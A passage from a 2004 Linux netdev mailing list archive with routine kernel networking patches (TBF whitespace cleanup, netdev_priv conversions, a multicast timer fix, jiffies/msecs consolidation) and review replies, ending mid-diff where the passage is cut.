(EST) From: Dmitry Torokhov To: "David S. Miller" Subject: Re: [PATCH 2/2 (resend)] TBF trailing whitespace fixes Date: Wed, 24 Mar 2004 23:54:22 -0500 User-Agent: KMail/1.6.1 Cc: linux-net@vger.kernel.org, netdev@oss.sgi.com References: <200403230108.08384.dtor_core@ameritech.net> <200403230108.58006.dtor_core@ameritech.net> <20040324135939.4dff0560.davem@redhat.com> In-Reply-To: <20040324135939.4dff0560.davem@redhat.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200403242354.23584.dtor_core@ameritech.net> X-Virus-Scanned: by amavisd-new at coreip.homeip.net X-archive-position: 4241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev Content-Length: 5104 Lines: 252 On Wednesday 24 March 2004 04:59 pm, David S. Miller wrote: > > Dmitry, I applied the first patch to both 2.4.x and 2.6.x > The whitespace patch (the second one) only applies to 2.6.x, > so a 2.4.x version would be appreciated. > > Thanks. > Here it is, against the today's Marcelo's BK plus the first patch. It compiles. -- Dmitry =================================================================== ChangeSet@1.1321, 2004-03-24 23:50:16-05:00, dtor_core@ameritech.net NET: TBF trailing whitespace cleanup sch_tbf.c | 68 +++++++++++++++++++++++++++++++------------------------------- 1 files changed, 34 insertions(+), 34 deletions(-) =================================================================== diff -Nru a/net/sched/sch_tbf.c b/net/sched/sch_tbf.c --- a/net/sched/sch_tbf.c Wed Mar 24 23:50:55 2004 +++ b/net/sched/sch_tbf.c Wed Mar 24 23:50:55 2004 @@ -62,7 +62,7 @@ Algorithm. ---------- - + Let N(t_i) be B/R initially and N(t) grow continuously with time as: N(t+delta) = min{B/R, N(t) + delta} @@ -146,15 +146,15 @@ if (sch->reshape_fail == NULL || sch->reshape_fail(skb, sch)) #endif kfree_skb(skb); - + return NET_XMIT_DROP; } - + if ((ret = q->qdisc->enqueue(skb, q->qdisc)) != 0) { sch->stats.drops++; return ret; - } - + } + sch->q.qlen++; sch->stats.bytes += skb->len; sch->stats.packets++; @@ -165,10 +165,10 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; int ret; - + if ((ret = q->qdisc->ops->requeue(skb, q->qdisc)) == 0) - sch->q.qlen++; - + sch->q.qlen++; + return ret; } @@ -176,7 +176,7 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; unsigned int len; - + if ((len = q->qdisc->ops->drop(q->qdisc)) != 0) { sch->q.qlen--; sch->stats.drops++; @@ -196,7 +196,7 @@ { struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; struct sk_buff *skb; - + skb = q->qdisc->dequeue(q->qdisc); if (skb) { @@ -204,7 +204,7 @@ long toks; long ptoks = 0; unsigned int len = skb->len; - + PSCHED_GET_TIME(now); toks = PSCHED_TDIFF_SAFE(now, q->t_c, q->buffer, 0); @@ -248,13 +248,13 @@ This is the main idea of all FQ algorithms (cf. CSZ, HPFQ, HFSC) */ - + if (q->qdisc->ops->requeue(skb, q->qdisc) != NET_XMIT_SUCCESS) { - /* When requeue fails skb is dropped */ + /* When requeue fails skb is dropped */ sch->q.qlen--; sch->stats.drops++; - } - + } + sch->flags |= TCQ_F_THROTTLED; sch->stats.overlimits++; } @@ -279,24 +279,24 @@ struct Qdisc *q = qdisc_create_dflt(dev, &bfifo_qdisc_ops); struct rtattr *rta; int ret; - + if (q) { rta = kmalloc(RTA_LENGTH(sizeof(struct tc_fifo_qopt)), GFP_KERNEL); if (rta) { rta->rta_type = RTM_NEWQDISC; - rta->rta_len = RTA_LENGTH(sizeof(struct tc_fifo_qopt)); + rta->rta_len = RTA_LENGTH(sizeof(struct tc_fifo_qopt)); ((struct tc_fifo_qopt *)RTA_DATA(rta))->limit = limit; - + ret = q->ops->change(q, rta); kfree(rta); - + if (ret == 0) return q; } qdisc_destroy(q); } - return NULL; + return NULL; } static int tbf_change(struct Qdisc* sch, struct rtattr *opt) @@ -340,7 +340,7 @@ } if (max_size < 0) goto done; - + if (q->qdisc == &noop_qdisc) { if ((child = tbf_create_dflt_qdisc(sch->dev, qopt->limit)) == NULL) goto done; @@ -370,19 +370,19 @@ { int err; struct tbf_sched_data *q = (struct tbf_sched_data *)sch->data; - + if (opt == NULL) return -EINVAL; - + MOD_INC_USE_COUNT; - + PSCHED_GET_TIME(q->t_c); init_timer(&q->wd_timer); q->wd_timer.function = tbf_watchdog; q->wd_timer.data = (unsigned long)sch; q->qdisc = &noop_qdisc; - + if ((err = tbf_change(sch, opt)) != 0) { MOD_DEC_USE_COUNT; } @@ -399,7 +399,7 @@ qdisc_put_rtab(q->P_tab); if (q->R_tab) qdisc_put_rtab(q->R_tab); - + qdisc_destroy(q->qdisc); q->qdisc = &noop_qdisc; @@ -412,10 +412,10 @@ unsigned char *b = skb->tail; struct rtattr *rta; struct tc_tbf_qopt opt; - + rta = (struct rtattr*)b; RTA_PUT(skb, TCA_OPTIONS, 0, NULL); - + opt.limit = q->limit; opt.rate = q->R_tab->rate; if (q->P_tab) @@ -439,9 +439,9 @@ { struct tbf_sched_data *q = (struct tbf_sched_data*)sch->data; - if (cl != 1) /* only one class */ + if (cl != 1) /* only one class */ return -ENOENT; - + tcm->tcm_handle |= TC_H_MIN(1); tcm->tcm_info = q->qdisc->handle; @@ -456,12 +456,12 @@ if (new == NULL) new = &noop_qdisc; - sch_tree_lock(sch); + sch_tree_lock(sch); *old = xchg(&q->qdisc, new); qdisc_reset(*old); sch->q.qlen = 0; sch_tree_unlock(sch); - + return 0; } @@ -480,7 +480,7 @@ { } -static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, +static int tbf_change_class(struct Qdisc *sch, u32 classid, u32 parentid, struct rtattr **tca, unsigned long *arg) { return -ENOSYS; @@ -542,7 +542,7 @@ return register_qdisc(&tbf_qdisc_ops); } -void cleanup_module(void) +void cleanup_module(void) { unregister_qdisc(&tbf_qdisc_ops); } From jgarzik@pobox.com Wed Mar 24 23:29:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Mar 2004 23:29:08 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2P7T2KO003143 for ; Wed, 24 Mar 2004 23:29:03 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B6Gok-0007kU-P9; Wed, 24 Mar 2004 22:25:46 +0000 Message-ID: <40620ADD.90307@pobox.com> Date: Wed, 24 Mar 2004 17:25:33 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: daniel.ritz@gmx.ch CC: netdev@oss.sgi.com Subject: Re: [PATCH 2.6] missing s/dev->priv/netdev_priv(dev) in drivers/net/pcmcia/ References: <200403242315.53770.daniel.ritz@gmx.ch> In-Reply-To: <200403242315.53770.daniel.ritz@gmx.ch> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1351 Lines: 41 Daniel Ritz wrote: > clean up the last two instances of dev->priv in drivers/net/pcmcia. > against 2.6.5-rc2-bk. > > --- 1.27/drivers/net/pcmcia/3c589_cs.c Wed Mar 3 01:03:51 2004 > +++ edited/drivers/net/pcmcia/3c589_cs.c Wed Mar 24 22:29:35 2004 > @@ -716,7 +716,7 @@ > "status %4.4x.\n", dev->name, (long)skb->len, > inw(ioaddr + EL3_STATUS)); > > - ((struct el3_private *)dev->priv)->stats.tx_bytes += skb->len; > + ((struct el3_private *)netdev_priv(dev))->stats.tx_bytes += skb->len; > > /* Put out the doubleword header... */ > outw(skb->len, ioaddr + TX_FIFO); > --- 1.24/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 3 01:06:03 2004 > +++ edited/drivers/net/pcmcia/ibmtr_cs.c Wed Mar 24 22:29:51 2004 > @@ -444,7 +444,7 @@ > link->state &= ~DEV_PRESENT; > if (link->state & DEV_CONFIG) { > /* set flag to bypass normal interrupt code */ > - ((struct tok_info *)dev->priv)->sram_virt |= 1; > + ((struct tok_info *)netdev_priv(dev))->sram_virt |= 1; > netif_device_detach(dev); > ibmtr_release(link); although the patch is OK, the code itself is a bit yucky. Can you please create a temporary variable, of struct el3_private or tok_info type, and eliminate that cast? struct el3_private *priv = netdev_priv(dev); priv->stats.tx_bytes += skb->len; Much nicer :) Jeff From jgarzik@pobox.com Thu Mar 25 00:21:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 00:21:46 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2P8LWKO008938 for ; Thu, 25 Mar 2004 00:21:33 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B5ZWx-0003ax-Q0; Tue, 23 Mar 2004 00:12:31 +0000 Message-ID: <405F80E3.1070602@pobox.com> Date: Mon, 22 Mar 2004 19:12:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: netdev@oss.sgi.com, Andrew Morton Subject: Re: [PATCH 0/4] 2.6.5-rc2 - epic100 update References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <20040323005021.A1715@electric-eye.fr.zoreil.com> In-Reply-To: <20040323005021.A1715@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 542 Lines: 22 Francois Romieu wrote: > Schedule: > > - epic100-fixup.patch: opportunistic cleanup > - epic100-napi-00.patch: code shuffling before the move > - epic100-napi-10.patch: rx napi (includes netif_running change) > - epic100-napi-20.patch: minimalistic tx napi > > 2.6.5-rc2 and 2.6.5-rc2-mm1 contain the same drivers/net/epic100.c > so the patches should apply equally to both. > > The driver has been moderately tested. Thanks. Applied to my netdev-2.6 queue, and so it should automatically appear in Andrew's -mm tree soon. Jeff From jgarzik@pobox.com Thu Mar 25 01:27:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 01:27:38 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2P9RSKO011432 for ; Thu, 25 Mar 2004 01:27:29 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B5b9j-0004uZ-7J; Tue, 23 Mar 2004 01:56:39 +0000 Message-ID: <405F994B.6080501@pobox.com> Date: Mon, 22 Mar 2004 20:56:27 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] Mixed PCI/ISA device name conflicts References: <20031222091115.42dd5f1f.shemminger@osdl.org> In-Reply-To: <20031222091115.42dd5f1f.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1148 Lines: 40 Stephen Hemminger wrote: > PCI is getting initialized before the old ISA probing code, so on mixed > ISA/PCI systems a PCI card will get eth0 before the ISA probing starts. > Then when the first ISA card is probed it will (unsuccessfully) try and claim > eth0. > > This fixes it by just having the ISA code skip eth0. It relies on the convention > that if the ioaddr is one, the device should be skipped. > > Patch against net-drivers-2.5-exp > > diff -Nru a/net/core/dev.c b/net/core/dev.c > --- a/net/core/dev.c Fri Dec 19 14:47:46 2003 > +++ b/net/core/dev.c Fri Dec 19 14:47:46 2003 > @@ -382,6 +382,7 @@ > * The found settings are set for the device to be used > * later in the device probing. > * Returns 0 if no settings found. > + * 1 if device already exists > */ > unsigned long netdev_boot_base(const char *prefix, int unit) > { > @@ -390,6 +391,9 @@ > int i; > > sprintf(name, "%s%d", prefix, unit); > + if (__dev_get_by_name(name)) > + return 1; > + > for (i = 0; i < NETDEV_BOOT_SETUP_MAX; i++) > if (!strcmp(name, s[i].name)) > return s[i].map.base_addr; Is this patch still needed? Jeff From okir@suse.de Thu Mar 25 05:39:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 05:39:26 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PDd6KO028559 for ; Thu, 25 Mar 2004 05:39:06 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id A41D336BD3D for ; Thu, 25 Mar 2004 13:57:55 +0100 (CET) Date: Thu, 25 Mar 2004 13:57:55 +0100 From: Olaf Kirch To: netdev@oss.sgi.com Subject: [PATCH] Uninitialized timer in ip_mc_down Message-ID: <20040325125755.GA8500@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="n8g4imXOkfNTN/H1" Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 4245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev Content-Length: 1442 Lines: 48 --n8g4imXOkfNTN/H1 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Hi, if you do the following on a downed interface on 2.6, you get two "uninitialized timer" messages from the kernel, along with a stack trace. ip addr add 1.2.3.4 dev eth1 ip addr del 1.2.3.4 dev eth1 The reason is that inetdev_create calls ip_mc_up if and only if the device is up. However, inetdev_destroy calls ip_mc_destroy_dev unconditionally, so that del_timer gets called for the two multicast timers which are uninitialized. The attached patch seems to fix this. An alternative patch would be to add a check to ip_mc_down to see whether the timers are actually active before deleting them. Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ --n8g4imXOkfNTN/H1 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: attachment; filename=ipv4-mcast-timer --- ../linux-2.6.4.orig/net/ipv4/devinet.c 2004-03-12 12:17:31.000000000 +0100 +++ ../linux-2.6.4/net/ipv4/devinet.c 2004-03-25 13:07:24.000000000 +0100 @@ -183,7 +183,10 @@ in_dev->dead = 1; - ip_mc_destroy_dev(in_dev); + /* If the device isn't up, the multicast info isn't + * initialized. */ + if (in_dev->dev->flags & IFF_UP) + ip_mc_destroy_dev(in_dev); while ((ifa = in_dev->ifa_list) != NULL) { inet_del_ifa(in_dev, &in_dev->ifa_list, 0); --n8g4imXOkfNTN/H1-- From kernelnetworkguy@hotpop.com Thu Mar 25 11:45:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 11:45:42 -0800 (PST) Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PJjaKO019492 for ; Thu, 25 Mar 2004 11:45:37 -0800 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2PJfRIb010547; Thu, 25 Mar 2004 12:41:27 -0700 (MST) Received: from hotpop.com (ict719g [136.159.15.15]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2PJfMqW010976; Thu, 25 Mar 2004 12:41:22 -0700 Message-ID: <406335DF.6060309@hotpop.com> Date: Thu, 25 Mar 2004 12:41:19 -0700 From: Abhinav Gupta User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Accessing time Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-archive-position: 4247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kernelnetworkguy@hotpop.com Precedence: bulk X-list: netdev Content-Length: 291 Lines: 9 Can anyone please give me pointers to accessing system time? I need to timestamp each tcp-packet that I receive over the network. I have tried using sys_gettimeoftheday() but due to frequent calls, the function doesn't always return a correct return value. Thanks in advance. Abhinav. From gupta@cpsc.ucalgary.ca Thu Mar 25 11:45:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 11:45:42 -0800 (PST) Received: from ensa.cpsc.ucalgary.ca (ensa.cpsc.ucalgary.ca [136.159.2.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PJjYKO019488 for ; Thu, 25 Mar 2004 11:45:37 -0800 Received: from imgw1.cpsc.ucalgary.ca (imgw1 [136.159.5.9]) by ensa.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2PJfBxJ000077; Thu, 25 Mar 2004 12:41:11 -0700 (MST) Received: from cs.ucalgary.ca (ict719g [136.159.15.15]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2PJf6qW010961; Thu, 25 Mar 2004 12:41:07 -0700 Message-ID: <406335D0.2090308@cs.ucalgary.ca> Date: Thu, 25 Mar 2004 12:41:04 -0700 From: Abhinav Gupta Reply-To: gupta@cpsc.ucalgary.ca Organization: University of Calgary User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Accessing time Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-archive-position: 4246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gupta@cpsc.ucalgary.ca Precedence: bulk X-list: netdev Content-Length: 291 Lines: 9 Can anyone please give me pointers to accessing system time? I need to timestamp each tcp-packet that I receive over the network. I have tried using sys_gettimeoftheday() but due to frequent calls, the function doesn't always return a correct return value. Thanks in advance. Abhinav. From sri@us.ibm.com Thu Mar 25 12:18:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Mar 2004 12:18:37 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2PKIMKO020860 for ; Thu, 25 Mar 2004 12:18:29 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2PKHifS258422; Thu, 25 Mar 2004 15:17:45 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2PKHhpi380586; Thu, 25 Mar 2004 13:17:43 -0700 Date: Thu, 25 Mar 2004 12:17:41 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com, jgarzik@pobox.com cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 32393 Lines: 949 The following patch to 2.6.5-rc2 consolidates 6 different implementations of msecs to jiffies and 3 different implementation of jiffies to msecs. All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() that are added to include/linux/time.h Thanks Sridhar -------------------------------------------------------------------------- diff -Nru a/drivers/atm/fore200e.c b/drivers/atm/fore200e.c --- a/drivers/atm/fore200e.c Wed Mar 24 16:27:13 2004 +++ b/drivers/atm/fore200e.c Wed Mar 24 16:27:13 2004 @@ -86,9 +86,6 @@ #define FORE200E_NEXT_ENTRY(index, modulo) (index = ++(index) % (modulo)) -#define MSECS(ms) (((ms)*HZ/1000)+1) - - extern const struct atmdev_ops fore200e_ops; extern const struct fore200e_bus fore200e_bus[]; @@ -247,7 +244,7 @@ static void fore200e_spin(int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); while (time_before(jiffies, timeout)); } @@ -255,7 +252,7 @@ static int fore200e_poll(struct fore200e* fore200e, volatile u32* addr, u32 val, int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); int ok; mb(); @@ -279,7 +276,7 @@ static int fore200e_io_poll(struct fore200e* fore200e, volatile u32* addr, u32 val, int msecs) { - unsigned long timeout = jiffies + MSECS(msecs); + unsigned long timeout = jiffies + msecs_to_jiffies(msecs); int ok; do { @@ -2398,7 +2395,7 @@ fore200e_monitor_getc(struct fore200e* fore200e) { struct cp_monitor* monitor = fore200e->cp_monitor; - unsigned long timeout = jiffies + MSECS(50); + unsigned long timeout = jiffies + msecs_to_jiffies(50); int c; while (time_before(jiffies, timeout)) { diff -Nru a/drivers/block/carmel.c b/drivers/block/carmel.c --- a/drivers/block/carmel.c Wed Mar 24 16:27:13 2004 +++ b/drivers/block/carmel.c Wed Mar 24 16:27:13 2004 @@ -438,11 +438,6 @@ return -EOPNOTSUPP; } -static inline unsigned long msecs_to_jiffies(unsigned long msecs) -{ - return ((HZ * msecs + 999) / 1000); -} - static void msleep(unsigned long msecs) { set_current_state(TASK_UNINTERRUPTIBLE); diff -Nru a/drivers/block/genhd.c b/drivers/block/genhd.c --- a/drivers/block/genhd.c Wed Mar 24 16:27:13 2004 +++ b/drivers/block/genhd.c Wed Mar 24 16:27:13 2004 @@ -357,34 +357,24 @@ return sprintf(page, "%llu\n", (unsigned long long)get_capacity(disk)); } -static inline unsigned jiffies_to_msec(unsigned jif) -{ -#if 1000 % HZ == 0 - return jif * (1000 / HZ); -#elif HZ % 1000 == 0 - return jif / (HZ / 1000); -#else - return (jif / HZ) * 1000 + (jif % HZ) * 1000 / HZ; -#endif -} static ssize_t disk_stats_read(struct gendisk * disk, char *page) { disk_round_stats(disk); return sprintf(page, - "%8u %8u %8llu %8u " - "%8u %8u %8llu %8u " - "%8u %8u %8u" + "%8u %8u %8llu %8lu " + "%8u %8u %8llu %8lu " + "%8u %8lu %8lu" "\n", disk_stat_read(disk, reads), disk_stat_read(disk, read_merges), (unsigned long long)disk_stat_read(disk, read_sectors), - jiffies_to_msec(disk_stat_read(disk, read_ticks)), + jiffies_to_msecs(disk_stat_read(disk, read_ticks)), disk_stat_read(disk, writes), disk_stat_read(disk, write_merges), (unsigned long long)disk_stat_read(disk, write_sectors), - jiffies_to_msec(disk_stat_read(disk, write_ticks)), + jiffies_to_msecs(disk_stat_read(disk, write_ticks)), disk->in_flight, - jiffies_to_msec(disk_stat_read(disk, io_ticks)), - jiffies_to_msec(disk_stat_read(disk, time_in_queue))); + jiffies_to_msecs(disk_stat_read(disk, io_ticks)), + jiffies_to_msecs(disk_stat_read(disk, time_in_queue))); } static struct disk_attribute disk_attr_dev = { .attr = {.name = "dev", .mode = S_IRUGO }, @@ -494,17 +484,17 @@ */ disk_round_stats(gp); - seq_printf(s, "%4d %4d %s %u %u %llu %u %u %u %llu %u %u %u %u\n", + seq_printf(s, "%4d %4d %s %u %u %llu %lu %u %u %llu %lu %u %lu %lu\n", gp->major, n + gp->first_minor, disk_name(gp, n, buf), disk_stat_read(gp, reads), disk_stat_read(gp, read_merges), (unsigned long long)disk_stat_read(gp, read_sectors), - jiffies_to_msec(disk_stat_read(gp, read_ticks)), + jiffies_to_msecs(disk_stat_read(gp, read_ticks)), disk_stat_read(gp, writes), disk_stat_read(gp, write_merges), (unsigned long long)disk_stat_read(gp, write_sectors), - jiffies_to_msec(disk_stat_read(gp, write_ticks)), + jiffies_to_msecs(disk_stat_read(gp, write_ticks)), gp->in_flight, - jiffies_to_msec(disk_stat_read(gp, io_ticks)), - jiffies_to_msec(disk_stat_read(gp, time_in_queue))); + jiffies_to_msecs(disk_stat_read(gp, io_ticks)), + jiffies_to_msecs(disk_stat_read(gp, time_in_queue))); /* now show all non-0 size partitions of it */ for (n = 0; n < gp->minors - 1; n++) { diff -Nru a/drivers/char/watchdog/shwdt.c b/drivers/char/watchdog/shwdt.c --- a/drivers/char/watchdog/shwdt.c Wed Mar 24 16:27:13 2004 +++ b/drivers/char/watchdog/shwdt.c Wed Mar 24 16:27:13 2004 @@ -64,8 +64,7 @@ */ static int clock_division_ratio = WTCSR_CKS_4096; -#define msecs_to_jiffies(msecs) (jiffies + (HZ * msecs + 9999) / 10000) -#define next_ping_period(cks) msecs_to_jiffies(cks - 4) +#define next_ping_period(cks) (jiffies + msecs_to_jiffies(cks - 4)) static unsigned long shwdt_is_open; static struct watchdog_info sh_wdt_info; diff -Nru a/drivers/input/joydev.c b/drivers/input/joydev.c --- a/drivers/input/joydev.c Wed Mar 24 16:27:13 2004 +++ b/drivers/input/joydev.c Wed Mar 24 16:27:13 2004 @@ -37,8 +37,6 @@ #define JOYDEV_MINORS 16 #define JOYDEV_BUFFER_SIZE 64 -#define MSECS(t) (1000 * ((t) / HZ) + 1000 * ((t) % HZ) / HZ) - struct joydev { int exist; int open; @@ -117,7 +115,7 @@ return; } - event.time = MSECS(jiffies); + event.time = jiffies_to_msecs(jiffies); list_for_each_entry(list, &joydev->list, node) { @@ -245,7 +243,7 @@ struct js_event event; - event.time = MSECS(jiffies); + event.time = jiffies_to_msecs(jiffies); if (list->startup < joydev->nkey) { event.type = JS_EVENT_BUTTON | JS_EVENT_INIT; diff -Nru a/drivers/net/irda/act200l-sir.c b/drivers/net/irda/act200l-sir.c --- a/drivers/net/irda/act200l-sir.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/act200l-sir.c Wed Mar 24 16:27:13 2004 @@ -178,7 +178,7 @@ /* Write control bytes */ sirdev_raw_write(dev, control, 3); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(5)); + schedule_timeout(msecs_to_jiffies(5)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -Nru a/drivers/net/irda/act200l.c b/drivers/net/irda/act200l.c --- a/drivers/net/irda/act200l.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/act200l.c Wed Mar 24 16:27:13 2004 @@ -148,7 +148,7 @@ irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = msecs_to_jiffies(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -187,7 +187,7 @@ /* Write control bytes */ self->write(self->dev, control, 3); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(5); + ret = msecs_to_jiffies(5); break; case IRDA_TASK_WAIT: /* Go back to normal mode */ @@ -237,14 +237,14 @@ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT1: /* Reset the dongle : set RTS low for 25 ms */ self->set_dtr_rts(self->dev, TRUE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); break; case IRDA_TASK_WAIT2: /* Clear DTR and set RTS to enter command mode */ @@ -253,7 +253,7 @@ /* Write control bytes */ self->write(self->dev, control, 9); irda_task_next_state(task, IRDA_TASK_WAIT3); - ret = MSECS_TO_JIFFIES(15); + ret = msecs_to_jiffies(15); break; case IRDA_TASK_WAIT3: /* Go back to normal mode */ diff -Nru a/drivers/net/irda/actisys.c b/drivers/net/irda/actisys.c --- a/drivers/net/irda/actisys.c Wed Mar 24 16:27:13 2004 +++ b/drivers/net/irda/actisys.c Wed Mar 24 16:27:13 2004 @@ -238,7 +238,7 @@ self->set_dtr_rts(self->dev, TRUE, TRUE); /* Sleep 50 ms to make sure capacitor is charged */ - ret = MSECS_TO_JIFFIES(50); + ret = msecs_to_jiffies(50); irda_task_next_state(task, IRDA_TASK_WAIT); break; case 